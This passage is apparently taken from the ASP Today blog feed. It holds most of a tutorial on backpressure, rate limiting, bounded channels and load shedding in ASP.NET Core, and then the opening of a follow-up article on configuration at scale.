Image Processing</code></code></pre><p>That seems resilient.</p><p>But what happens if requests arrive faster than the worker processes them?</p><p>If the queue has no meaningful limit:</p><pre><code><code>10 jobs
100 jobs
10,000 jobs
500,000 jobs</code></code></pre><p>The queue may simply move the overload somewhere else.</p><p>An in-memory queue consumes memory.</p><p>A durable broker consumes storage and increases processing delay.</p><p>A database-backed queue grows.</p><p>Users may receive an immediate &#8220;accepted&#8221; response while their job will not actually begin for hours.</p><p>A queue absorbs <strong>temporary bursts</strong>.</p><p>It does not create processing capacity.</p><h2>The Basic Backpressure Equation</h2><p>Every system has some sustainable throughput.</p><p>Conceptually:</p><pre><code><code>Incoming Work &lt;= Processing Capacity</code></code></pre><p>When this remains true, the system is stable.</p><p>When:</p><pre><code><code>Incoming Work &gt; Processing Capacity</code></code></pre><p>for long enough, something has to happen.</p><p>We can:</p><ul><li><p>Make producers wait<br></p></li><li><p>Queue a limited amount of work<br></p></li><li><p>Reject excess work<br></p></li><li><p>Drop replaceable work<br></p></li><li><p>Reduce the cost of each request<br></p></li><li><p>Scale processing capacity<br></p></li></ul><p>What we should not do is pretend capacity is unlimited.</p><h2>Backpressure Begins with Knowing Your Limits</h2><p>Before setting limits, we need to understand what actually constrains the application.</p><p>It might be:</p><pre><code><code>CPU
Memory
Database connections
Database throughput
HTTP connections
Thread-pool pressure
External API quotas
Queue consumers
Disk throughput</code></code></pre><p>Consider an endpoint that calls a payment provider.</p><p>Your ASP.NET Core server might handle thousands of concurrent requests.</p><p>But perhaps the payment provider safely supports only 100 concurrent operations.</p><p>Your application&#8217;s theoretical capacity does not matter.</p><p>The dependency is the bottleneck.</p><p>A good backpressure strategy protects the <strong>scarce resource</strong>, not merely the web server.</p><h2>Concurrency Is Often More Important Than Request Rate</h2><p>Suppose two endpoints each receive 100 requests per second.</p><p>Endpoint A takes 10 milliseconds.</p><p>Endpoint B takes 5 seconds.</p><p>Their impact is completely different.</p><p>Rate alone does not describe pressure.</p><p>For expensive work, we often care about how many operations are executing simultaneously.</p><p>ASP.NET Core&#8217;s current rate-limiting infrastructure includes a concurrency limiter that can restrict the number of simultaneous requests and optionally bound the number waiting for permits. </p><p>For example:</p><pre><code><code>using System.Threading.RateLimiting;

builder.Services.AddRateLimiter(options =&gt;
{
    options.AddConcurrencyLimiter(
        "expensive",
        limiter =&gt;
        {
            limiter.PermitLimit = 20;
            limiter.QueueLimit = 10;
            limiter.QueueProcessingOrder =
                QueueProcessingOrder.OldestFirst;
        });
});</code></code></pre><p>Then:</p><pre><code><code>app.UseRateLimiter();

app.MapPost("/reports", GenerateReport)
   .RequireRateLimiting("expensive");</code></code></pre><p>Now only 20 requests can perform that expensive work concurrently.</p><p>Another 10 may wait.</p><p>Beyond that, requests are rejected.</p><p>That rejection is not necessarily a failure of the architecture.</p><p>It may be exactly what keeps the architecture alive.</p><h2>Rate Limiting and Backpressure Are Related, but Different</h2><p>Rate limiting asks:</p><p><strong>How much work may arrive over a period of time?</strong></p><p>Backpressure asks:</p><p><strong>What should happen when work arrives faster than we can safely process it?</strong></p><p>Rate limiting is therefore one tool for implementing overload protection.</p><p>ASP.NET Core supports several rate-limiting approaches, including fixed-window, sliding-window, token-bucket, and concurrency limiters. Policies can be global or attached to selected endpoints. Microsoft recommends load testing rate-limiting configurations before production deployment. </p><p>The correct limiter depends on what we are protecting.</p><h2>Different Endpoints Need Different Limits</h2><p>A common mistake is setting one global number for the entire API.</p><p>Consider:</p><pre><code><code>GET /products
POST /orders
POST /reports
GET /health</code></code></pre><p>These endpoints do dramatically different amounts of work.</p><p>A cached product request may cost almost nothing.</p><p>Generating a complex report might use significant CPU, memory, database time, and storage.</p><p>Treating them equally wastes capacity.</p><p>Instead, policies should reflect resource cost.</p><pre><code><code>Products &#8594; generous limit
Orders   &#8594; moderate limit
Reports  &#8594; strict concurrency limit
Health   &#8594; lightweight separate path</code></code></pre><p>Backpressure becomes much more effective when it understands workload classes.</p><h2>Protect Downstream Dependencies</h2><p>Imagine:</p><pre><code><code>ASP.NET Core API
       &#8595;
Payment Provider</code></code></pre><p>Your <a href="https://www.asptoday.com/p/exploring-minimal-apis-in-aspnet">API</a> receives 2,000 requests per second.</p><p>The provider safely handles 200.</p><p>Without outbound control, your application becomes an amplifier.</p><p>It accepts huge amounts of work and sends the overload downstream.</p><p>A better architecture deliberately limits calls to the dependency.</p><p>.NET&#8217;s current resilience libraries support strategies including rate limiting and concurrency limiting as part of resilience pipelines. Microsoft distinguishes inbound rate control from outbound concurrency limiting, which can protect dependencies from excessive parallel work. </p><p>Conceptually:</p><pre><code><code>2,000 incoming
      &#8595;
ASP.NET Core
      &#8595;
Concurrency Control
      &#8595;
200 safe operations
      &#8595;
Dependency</code></code></pre><p>Protecting your own service while destroying the next service is not resilience.</p><h2>Bounded Channels</h2><p>For in-process producer-consumer workloads, <code>System.Threading.Channels</code> gives us an excellent backpressure primitive.</p><p>Instead of:</p><pre><code><code>Channel.CreateUnbounded&lt;Job&gt;();</code></code></pre><p>we can create:</p><pre><code><code>var channel = Channel.CreateBounded&lt;Job&gt;(
    new BoundedChannelOptions(100)
    {
        FullMode = BoundedChannelFullMode.Wait
    });</code></code></pre><p>The queue can contain at most 100 items.</p><p>When it fills, producers do not continue adding unlimited work. With <code>Wait</code>, asynchronous writes wait until capacity becomes available. Microsoft explicitly describes this situation as the writer experiencing backpressure when producers outrun consumers. </p><p>That small difference changes the stability characteristics of the entire system.</p><h2>A Practical Background Queue</h2><p>Let&#8217;s create a simple queue.</p><pre><code><code>public sealed record ProcessingJob(
    Guid Id,
    string FileName);

public sealed class JobQueue
{
    private readonly Channel&lt;ProcessingJob&gt; _channel;

    public JobQueue()
    {
        _channel =
            Channel.CreateBounded&lt;ProcessingJob&gt;(
                new BoundedChannelOptions(100)
                {
                    FullMode =
                        BoundedChannelFullMode.Wait,
                    SingleReader = true,
                    SingleWriter = false
                });
    }

    public ValueTask QueueAsync(
        ProcessingJob job,
        CancellationToken cancellationToken)
    {
        return _channel.Writer.WriteAsync(
            job,
            cancellationToken);
    }

    public IAsyncEnumerable&lt;ProcessingJob&gt;
        ReadAllAsync(
            CancellationToken cancellationToken)
    {
        return _channel.Reader.ReadAllAsync(
            cancellationToken);
    }
}</code></code></pre><p>A worker consumes the queue:</p><pre><code><code>public sealed class ProcessingWorker : BackgroundService
{
    private readonly JobQueue _queue;

    public ProcessingWorker(JobQueue queue)
    {
        _queue = queue;
    }

    protected override async Task ExecuteAsync(
        CancellationToken stoppingToken)
    {
        await foreach (
            var job in _queue.ReadAllAsync(stoppingToken))
        {
            await ProcessAsync(job, stoppingToken);
        }
    }

    private Task ProcessAsync(
        ProcessingJob job,
        CancellationToken cancellationToken)
    {
        // Perform the real work.
        return Task.CompletedTask;
    }
}</code></code></pre><p>Now the producer and consumer have an explicit capacity relationship.</p><h2>What Does &#8220;Wait&#8221; Really Mean?</h2><p>Suppose the queue contains 100 items.</p><p>Another producer calls:</p><pre><code><code>await queue.QueueAsync(job, cancellationToken);</code></code></pre><p>With <code>BoundedChannelFullMode.Wait</code>, that write waits asynchronously until space is available. </p><p>This propagates pressure backward.</p><pre><code><code>Worker slow
    &#8595;
Queue fills
    &#8595;
Producer waits
    &#8595;
Request slows</code></code></pre><p>That may sound undesirable.</p><p>But compare it with:</p><pre><code><code>Worker slow
    &#8595;
Queue grows forever
    &#8595;
Memory rises
    &#8595;
GC pressure rises
    &#8595;
Everything slows
    &#8595;
Process dies</code></code></pre><p>Waiting can be healthier than pretending everything is fine.</p><h2>Waiting Forever Is Not Backpressure</h2><p>There is another trap.</p><p>Suppose the queue is full and an HTTP request waits 15 minutes for capacity.</p><p>Technically, we bounded the queue.</p><p>Operationally, the user experience is terrible.</p><p>Backpressure needs limits at multiple levels.</p><p>For example:</p><pre><code><code>using var timeout =
    CancellationTokenSource.CreateLinkedTokenSource(
        httpContext.RequestAborted);

timeout.CancelAfter(TimeSpan.FromSeconds(2));

try
{
    await queue.QueueAsync(job, timeout.Token);

    return Results.Accepted();
}
catch (OperationCanceledException)
{
    return Results.StatusCode(
        StatusCodes.Status503ServiceUnavailable);
}</code></code></pre><p>Now the system gives the queue a short opportunity to recover.</p><p>If it cannot, we stop waiting.</p><h2>Sometimes Dropping Work Is Correct</h2><p>Not every piece of work deserves to wait.</p><p><code>BoundedChannelFullMode</code> supports several behaviors when capacity is exhausted:</p><pre><code><code>Wait
DropNewest
DropOldest
DropWrite</code></code></pre><p>Microsoft&#8217;s current Channels documentation defines these modes explicitly. <code>Wait</code> blocks asynchronous producers until capacity becomes available, while the drop modes discard particular items when the channel is full. </p><p>Which one should we use?</p><p>It depends entirely on what the data means.</p><h2>Never Drop Business-Critical Commands Casually</h2><p>Imagine the queue contains:</p><pre><code><code>ChargeCustomer
ShipOrder
CancelSubscription</code></code></pre><p>Dropping one silently is unacceptable.</p><p>For durable business operations, we may need a persistent message broker, durable queue, or transactional design instead of an in-memory channel.</p><p>Now imagine the queue contains:</p><pre><code><code>Refresh dashboard temperature
Refresh dashboard temperature
Refresh dashboard temperature</code></code></pre><p>If the dashboard only needs the latest reading, keeping stale updates may be pointless.</p><p>Dropping old telemetry can be completely reasonable.</p><p>Backpressure is not just a technical decision.</p><p>It is a <strong>business semantics decision</strong>.</p><h2>Freshness Can Matter More Than Completeness</h2><p>Consider a live monitoring dashboard.</p><p>Updates arrive:</p><pre><code><code>10:01:01 CPU 40%
10:01:02 CPU 42%
10:01:03 CPU 44%
...
10:01:30 CPU 91%</code></code></pre><p>If the consumer falls behind, displaying every historical intermediate value may mean the user sees conditions from 30 seconds ago.</p><p>Dropping older updates could be better.</p><p>For financial transactions, that would be disastrous.</p><p>For live telemetry, it might be exactly right.</p><p>Ask:</p><p><strong>Does the consumer need every event, or does it need the latest state?</strong></p><p>The answer changes the backpressure policy.</p><h2>Load Shedding</h2><p>Sometimes the safest response to overload is simply:</p><p><strong>No.</strong></p><p>This is load shedding.</p><p>Instead of accepting work we are unlikely to complete successfully, we reject it early.</p><p>For an HTTP API, that might mean returning an appropriate overload response such as <code>429 Too Many Requests</code> for rate-limited traffic or, depending on the failure mode and API contract, <code>503 Service Unavailable</code>.</p><p>ASP.NET Core&#8217;s rate-limiting middleware provides rejection handling and can expose retry information for limiter algorithms that can estimate when permits will become available. </p><p>Early rejection protects resources.</p><p>Late failure wastes them.</p><h2>Reject Before Expensive Work Begins</h2><p>Consider this sequence:</p><pre><code><code>Authenticate
&#8595;
Load 50 MB payload
&#8595;
Query database
&#8595;
Allocate large objects
&#8595;
Discover system overloaded
&#8595;
Reject</code></code></pre><p>We have already spent substantial resources.</p><p>Where possible, overload controls should operate before expensive work begins.</p><pre><code><code>Request
&#8595;
Cheap validation
&#8595;
Capacity check
&#8595;
Accepted?
   &#9500;&#9472;&#9472; No &#8594; Reject
   &#9492;&#9472;&#9472; Yes &#8594; Expensive work</code></code></pre><p>This is one reason middleware and endpoint-level limiting can be effective.</p><h2>Queueing Has a Latency Cost</h2><p>Suppose an operation normally takes:</p><pre><code><code>200 ms</code></code></pre><p>We allow 1,000 requests to queue.</p><p>Under overload, the 1,000th request may wait far longer than 200 milliseconds before processing even begins.</p><p>The service may technically be completing every request.</p><p>But the latency distribution becomes terrible.</p><p>This is why queue size should not be chosen simply based on available memory.</p><p>Ask:</p><p><strong>How long are we willing to make a user wait?</strong></p><p>A useful queue capacity follows from acceptable waiting time and processing throughput.</p><h2>Little&#8217;s Law Gives Us a Useful Mental Model</h2><p>Queueing theory provides a useful relationship:</p><pre><code><code>Items in system
&#8776;
Arrival rate &#215; Time in system</code></code></pre><p>If throughput is 100 jobs per second and we allow 10 seconds of waiting, hundreds or thousands of operations can accumulate depending on the workload.</p><p>The exact mathematics can become sophisticated, but the practical lesson is simple:</p><p><strong>Large queues create large latency.</strong></p><p>A queue of 100,000 is not automatically safer than a queue of 1,000.</p><p>It may merely hide overload longer.</p><h2>Cancellation Is Part of Backpressure</h2><p>Suppose a client disconnects while an expensive request is still running.</p><p>If the result is no longer useful, continuing the work wastes capacity.</p><p>ASP.NET Core exposes request cancellation through:</p><pre><code><code>HttpContext.RequestAborted</code></code></pre><p>Pass cancellation tokens through the application.</p><pre><code><code>app.MapGet(
    "/report",
    async (
        HttpContext context,
        ReportService reports) =&gt;
    {
        return await reports.GenerateAsync(
            context.RequestAborted);
    });</code></code></pre><p>Then continue passing the token to operations that support cancellation.</p><pre><code><code>Client leaves
     &#8595;
Request cancelled
     &#8595;
Database/API work cancelled where supported
     &#8595;
Capacity becomes available</code></code></pre><p>Cancellation is not merely a convenience.</p><p>During overload, it can reclaim scarce resources.</p><h2>Timeouts Also Release Capacity</h2><p>A downstream call that normally takes 100 milliseconds begins taking 30 seconds.</p><p>Without a timeout, requests pile up.</p><pre><code><code>Request 1 waiting
Request 2 waiting
Request 3 waiting
...
Request 5,000 waiting</code></code></pre><p>Timeouts establish a limit on how long resources can remain committed to work that is no longer useful.</p><p>This connects directly with the resilience patterns we covered earlier.</p><p>Retries, however, require special caution.</p><h2>Retries Can Make Overload Worse</h2><p>Suppose a dependency is overloaded.</p><p>Requests fail.</p><p>Every caller retries three times.</p><p>Now:</p><pre><code><code>1,000 original requests</code></code></pre><p>can become thousands of attempts.</p><p>The system is already struggling, and retries generate even more work.</p><p>This is sometimes called a retry storm.</p><p>Our earlier <strong><a href="https://www.asptoday.com/p/advanced-retry-strategies-in-aspnet">Advanced Retry Strategies</a></strong> article discussed exponential backoff and jitter. During overload, those ideas become especially important.</p><p>Retries should be:</p><ul><li><p>Limited<br></p></li><li><p>Delayed<br></p></li><li><p>Used only for appropriate transient failures<br></p></li><li><p>Combined with cancellation and circuit breaking<br></p></li></ul><p>Resilience patterns must cooperate.</p><p>A retry policy that ignores system capacity can reduce resilience instead of improving it.</p><h2>Graceful Degradation</h2><p>Rejecting requests is not our only option.</p><p>Sometimes we can make requests cheaper.</p><p>Imagine an e-commerce homepage normally includes:</p><pre><code><code>Product catalog
Personal recommendations
Live inventory
Reviews
Recently viewed
Promotions</code></code></pre><p>During extreme load, perhaps recommendations are temporarily unavailable.</p><p>The application can still return:</p><pre><code><code>Product catalog
Live inventory
Promotions</code></code></pre><p>The experience is reduced, but useful.</p><p>This is graceful degradation.</p><h2>Define Critical and Optional Work</h2><p>A useful architecture explicitly distinguishes:</p><pre><code><code>Critical
Important
Optional</code></code></pre><p>For checkout:</p><pre><code><code>Payment              Critical
Inventory reservation Critical
Recommendation update Optional
Analytics event        Optional</code></code></pre><p>When resources become scarce, optional work should not compete equally with payment processing.</p><p>That might mean:</p><ul><li><p>Separate queues<br></p></li><li><p>Separate concurrency limits<br></p></li><li><p>Lower-priority processing<br></p></li><li><p>Dropping non-critical telemetry<br></p></li><li><p>Temporarily disabling expensive enhancements<br></p></li></ul><p>A system that knows what matters most can degrade intelligently.</p><h2>Bulkheads Prevent One Workload from Consuming Everything</h2><p>Imagine two operations sharing the same application:</p><pre><code><code>Checkout
Reporting</code></code></pre><p>Reporting becomes extremely busy.</p><p>If both workloads share every resource without limits, reporting may consume all available capacity.</p><p>Checkout slows down.</p><p>A bulkhead-style design isolates capacity.</p><pre><code><code>Checkout
   &#8595;
Dedicated capacity

Reporting
   &#8595;
Limited capacity</code></code></pre><p>.NET&#8217;s resilience tooling includes rate-limiting and concurrency-limiting strategies that can help constrain workloads and dependencies. </p><p>The principle is similar to watertight compartments on a ship.</p><p>One flooded compartment should not sink everything.</p><h2>Backpressure Across Service Boundaries</h2><p>Now imagine:</p><pre><code><code>API
 &#8595;
Orders
 &#8595;
Payments
 &#8595;
Fraud
 &#8595;
External Provider</code></code></pre><p>Fraud slows down.</p><p>Payments begins waiting.</p><p>Orders begins waiting.</p><p>The API begins waiting.</p><p>Pressure travels backward through the dependency chain.</p><p>That is actually useful information.</p><p>The dangerous alternative is allowing every layer to create an enormous queue.</p><pre><code><code>API queue
   &#8595;
Orders queue
   &#8595;
Payments queue
   &#8595;
Fraud queue</code></code></pre><p>Now nobody knows where the real bottleneck is, and requests may spend minutes moving between queues.</p><p>Distributed systems need an intentional overload strategy across boundaries.</p><h2>Backpressure and Message Brokers</h2><p>Durable brokers such as <a href="https://www.asptoday.com/p/implementing-event-driven-architecture">RabbitMQ</a> or <a href="https://www.asptoday.com/p/aspnet-core-and-azure-service-bus">Azure Service Bus</a> can absorb larger bursts than an in-memory queue.</p><p>But the same principle remains.</p><p>Suppose producers generate:</p><pre><code><code>10 million messages/hour</code></code></pre><p>while consumers process:</p><pre><code><code>5 million messages/hour</code></code></pre><p>The backlog grows by five million every hour.</p><p>A durable queue prevents immediate memory exhaustion, but the system is still unsustainable.</p><p>Monitor:</p><pre><code><code>Queue depth
Oldest message age
Enqueue rate
Completion rate
Consumer utilization
Failure rate</code></code></pre><p><strong>Queue age</strong> is particularly important.</p><p>A queue of 10,000 messages may be fine if they are processed in five seconds.</p><p>A queue of 500 may be disastrous if the oldest message has been waiting six hours.</p><h2>Observability Makes Backpressure Measurable</h2><p>We should know when the system is applying pressure.</p><p>Useful metrics include:</p><pre><code><code>Current queue depth
Queue capacity
Rejected requests
Dropped items
Time waiting for capacity
Active operations
Available concurrency permits
Request latency
Dependency latency
Cancellation count</code></code></pre><p>ASP.NET Core&#8217;s rate-limiting middleware exposes built-in metrics that can help monitor how limiting affects application behavior. </p><p>These signals tell us not just that the application is overloaded, but <strong>how it is protecting itself</strong>.</p><h2>Watch Percentiles, Not Just Averages</h2><p>Suppose average latency is:</p><pre><code><code>250 ms</code></code></pre><p>That sounds healthy.</p><p>But perhaps:</p><pre><code><code>p50  = 100 ms
p95  = 900 ms
p99  = 8 seconds</code></code></pre><p>A small but meaningful group of users is having a terrible experience.</p><p>Queueing often appears in tail latency before averages look alarming.</p><p>Watch p95 and p99 latency alongside queue depth and rejection rates.</p><p>Those signals can reveal pressure much earlier.</p><h2>Autoscaling Is Not a Substitute for Backpressure</h2><p>A common response to overload is:</p><p><strong>Add more instances.</strong></p><p>Scaling is useful.</p><p>But it is not instantaneous, unlimited, or always effective.</p><p>Suppose ten API instances all connect to the same database.</p><p>Adding another 50 instances may simply generate more database traffic.</p><pre><code><code>More API instances
        &#8595;
More database connections
        &#8595;
Database overload</code></code></pre><p>Backpressure remains necessary even in autoscaled systems.</p><p>Scaling increases capacity.</p><p>Backpressure protects capacity.</p><p>We often need both.</p><h2>Backpressure at the Edge</h2><p>Our recent Edge Computing article introduced workloads operating close to users and devices.</p><p>Backpressure becomes especially important there because edge hardware often has fixed resources.</p><p>A small edge computer may have:</p><pre><code><code>4 CPU cores
8 GB RAM
Limited storage
Intermittent connectivity</code></code></pre><p>Thousands of sensors cannot be allowed to create unlimited local work.</p><p>The edge service might:</p><ul><li><p>Sample telemetry<br></p></li><li><p>Drop stale readings<br></p></li><li><p>Batch updates<br></p></li><li><p>Bound local queues<br></p></li><li><p>Prioritize alarms<br></p></li><li><p>Delay cloud synchronization<br></p></li></ul><p>Again, the policy depends on the meaning of the data.</p><p>A safety alarm must not be treated like a routine temperature sample.</p><h2>Backpressure and Dynamic Configuration</h2><p>Our previous article explored <strong>Configuration at Scale in ASP.NET Core</strong>.</p><p>Many overload controls are natural candidates for configuration:</p><pre><code><code>QueueCapacity
MaximumConcurrency
RequestTimeout
BatchSize</code></code></pre><p>But changing them dynamically requires care.</p><p>Suppose:</p><pre><code><code>QueueCapacity = 10,000</code></code></pre><p>changes to:</p><pre><code><code>QueueCapacity = 100</code></code></pre><p>while 8,000 items already exist.</p><p>What happens?</p><p>Configuration can change a number.</p><p>It cannot automatically define the transition semantics.</p><p>As we discussed in the previous article, dynamic settings need safe operational boundaries.</p><h2>A Complete Overload Strategy</h2><p>Let&#8217;s imagine a document-processing API.</p><p>Users upload documents that require expensive analysis.</p><p>A robust architecture might look like:</p><pre><code><code>Client
  &#8595;
ASP.NET Core
  &#8595;
Request Rate Limit
  &#8595;
Validation
  &#8595;
Bounded Job Queue
  &#8595;
Worker Pool
  &#8595;
Concurrency Limit
  &#8595;
Document Processor</code></code></pre><p>Now suppose traffic spikes.</p><p>First, the queue absorbs a small burst.</p><p>Then it reaches its configured capacity.</p><p>Producers begin waiting briefly.</p><p>If capacity does not return quickly enough, new work is rejected.</p><p>Workers remain at controlled concurrency.</p><p>The processor never receives more parallel work than it can safely handle.</p><p>Metrics show increasing queue depth and rejection rates.</p><p>Autoscaling may add consumers if infrastructure allows it.</p><p>The system becomes slower or rejects some work.</p><p>But it remains alive.</p><p>That is successful overload handling.</p><h2>What Failure Looks Like Without Backpressure</h2><p>Now remove the limits.</p><pre><code><code>Traffic spike
    &#8595;
Unlimited requests accepted
    &#8595;
Unlimited jobs queued
    &#8595;
Memory increases
    &#8595;
Workers increase concurrency
    &#8595;
Database connections exhausted
    &#8595;
Latency increases
    &#8595;
Requests time out
    &#8595;
Clients retry
    &#8595;
More traffic
    &#8595;
Application collapses</code></code></pre><p>Notice the feedback loop.</p><p>Slow systems create retries.</p><p>Retries create additional load.</p><p>Additional load makes systems slower.</p><p>Backpressure breaks that loop before it becomes catastrophic.</p><h2>What Good Overload Looks Like</h2><p>This sounds strange, but a well-designed overloaded system may intentionally return errors.</p><p>Imagine:</p><pre><code><code>95% requests succeed normally
5% rejected quickly</code></code></pre><p>Compare that with:</p><pre><code><code>100% requests accepted
100% become extremely slow
70% eventually time out</code></code></pre><p>The first system may appear less friendly because it says &#8220;no.&#8221;</p><p>In reality, it protects the majority of users.</p><p>Fast rejection is often better than false acceptance.</p><h2>Choosing the Right Strategy</h2><p>There is no universal backpressure policy.</p><p>For each workload, ask:</p><p><strong>Can the producer wait?</strong></p><p>If yes, bounded waiting may work.</p><p><strong>Can the work be dropped?</strong></p><p>If yes, choose what can safely be discarded.</p><p><strong>Must the work eventually complete?</strong></p><p>Use durable storage or messaging rather than relying solely on memory.</p><p><strong>Is freshness more important than completeness?</strong></p><p>Consider dropping stale updates.</p><p><strong>Is the dependency concurrency-sensitive?</strong></p><p>Limit simultaneous operations.</p><p><strong>Can functionality degrade?</strong></p><p>Disable or simplify optional work.</p><p><strong>Can the caller retry later?</strong></p><p>Reject quickly and communicate that clearly.</p><p>These are architectural decisions, not just framework settings.</p><h2>Test the Breaking Point</h2><p>You cannot design overload protection entirely from assumptions.</p><p>Load testing should answer questions such as:</p><pre><code><code>At what throughput does latency rise sharply?

Which dependency saturates first?

How large can queues become?

When do requests begin timing out?

Does memory remain stable?

Does rejection happen early enough?

Does the application recover when load falls?</code></code></pre><p>Microsoft specifically recommends stress testing ASP.NET Core rate-limiting policies before deploying them to production. </p><p>That last question is especially important.</p><p>A resilient system should not merely survive overload.</p><p>It should <strong>recover cleanly afterward</strong>.</p><h2>Recovery Matters</h2><p>Suppose traffic spikes for five minutes and then returns to normal.</p><p>If the application accepted a massive backlog during those five minutes, it may remain overloaded for another hour.</p><p>The incident continues after the traffic spike ends.</p><p>With bounded queues and controlled admission:</p><pre><code><code>Traffic spike
    &#8595;
Capacity reached
    &#8595;
Excess rejected
    &#8595;
Traffic normalizes
    &#8595;
Small backlog clears
    &#8595;
Normal operation resumes</code></code></pre><p>Bounded systems recover more predictably because the amount of accumulated work is itself bounded.</p><h2>Do Not Optimize for Zero Rejections</h2><p>A production system that never rejects work may simply have enormous unused capacity.</p><p>Or it may be accepting work it cannot complete.</p><p>The goal is not:</p><pre><code><code>Reject nothing</code></code></pre><p>The goal is:</p><pre><code><code>Provide the best useful service
within safe operating limits</code></code></pre><p>During normal conditions, users should rarely encounter backpressure.</p><p>During abnormal conditions, backpressure should prevent a localized capacity problem from becoming a total outage.</p><h2>How This Fits Our ASP.NET Core Journey</h2><p>Our recent articles have been moving steadily from building individual ASP.NET Core features toward operating entire production systems.</p><p><strong>.NET Aspire</strong> showed us how distributed resources can be orchestrated, discovered, and observed together.</p><p><strong>Configuration at Scale</strong> showed us how operational behavior can change safely without redeploying every service.</p><p>Backpressure introduces another essential production concern.</p><p>Even a perfectly orchestrated, correctly configured application has finite capacity.</p><p>Eventually, some resource reaches its limit.</p><p>At that moment, the architecture needs to know what to do.</p><p>Wait?</p><p>Queue?</p><p>Reject?</p><p>Drop?</p><p>Degrade?</p><p>Scale?</p><p>The worst answer is to have no answer at all.</p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>Graceful Shutdown and Application Lifecycle in ASP.NET Core: Deploy Without Dropping Work</strong>.</p><p>Backpressure protects an application while it is running under load. But production systems also need to stop safely.</p><p>We&#8217;ll examine what happens to active HTTP requests, background jobs, queues, database operations, and external calls when an ASP.NET Core instance receives a shutdown signal, and how cancellation tokens, readiness changes, draining, shutdown timeouts, and application lifecycle hooks can help deployments complete without silently losing work.</p><h2>Final Thoughts</h2><p>Backpressure is ultimately about accepting that every system has limits.</p><p>CPU is finite.</p><p>Memory is finite.</p><p>Database connections are finite.</p><p>External APIs have limits.</p><p>Workers can process only so much work at once.</p><p>Ignoring those limits does not make them disappear. It simply delays the point where they become visible, usually until the application is already in trouble.</p><p>ASP.NET Core and modern .NET give us strong building blocks for handling overload deliberately. Rate limiting can control incoming traffic. Concurrency limiting can protect expensive resources. Bounded channels can prevent in-process queues from growing indefinitely. Cancellation and timeouts can release capacity that is no longer useful. Load shedding and graceful degradation can preserve critical functionality when full service is impossible.</p><p>The most important change, however, is architectural.</p><p>Do not ask only:</p><p><strong>How much traffic can our application handle?</strong></p><p>Ask:</p><p><strong>What exactly will our application do when traffic exceeds that amount?</strong></p><p>If the answer is deliberate, measurable, and tested, overload becomes something the system can manage rather than something that unexpectedly takes it down.</p><h2>Subscribe Now</h2><p>Enjoying the series? <a href="https://www.asptoday.com/">Subscribe to </a><strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture deep dives, and production-focused .NET engineering guides. Join our Substack Chat to discuss scalability, resilience, distributed systems, and the challenges of keeping modern ASP.NET Core applications reliable under real-world load. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Configuration at Scale in ASP.NET Core: Dynamic Settings, Validation, and Safe Reloading]]></title><description><![CDATA[Build safer ASP.NET Core configuration with validation, dynamic settings, and controlled reloads. #ASPToday #aspnetcore #dotnet #configuration]]></description><link>https://www.asptoday.com/p/configuration-at-scale-in-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/configuration-at-scale-in-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 25 Aug 2026 15:03:26 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!oMYG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Configuration starts simply in <a href="https://asptoday.substack.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a>. We add a few values to <code>appsettings.json</code>, inject <code>IConfiguration</code>, and move on. But as applications grow across services, environments, regions, and deployment platforms, configuration becomes part of the architecture itself. A single incorrect setting can disable a feature, overwhelm a dependency, or prevent an application from starting. Modern ASP.NET Core gives us powerful tools for strongly typed settings, validation, environment-specific configuration, and runtime updates. The challenge is using those tools safely. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oMYG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oMYG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!oMYG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!oMYG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!oMYG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oMYG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38323388-6443-4be0-a52b-d6c8705b97b0_1672x941.png" width="1456" height="819" 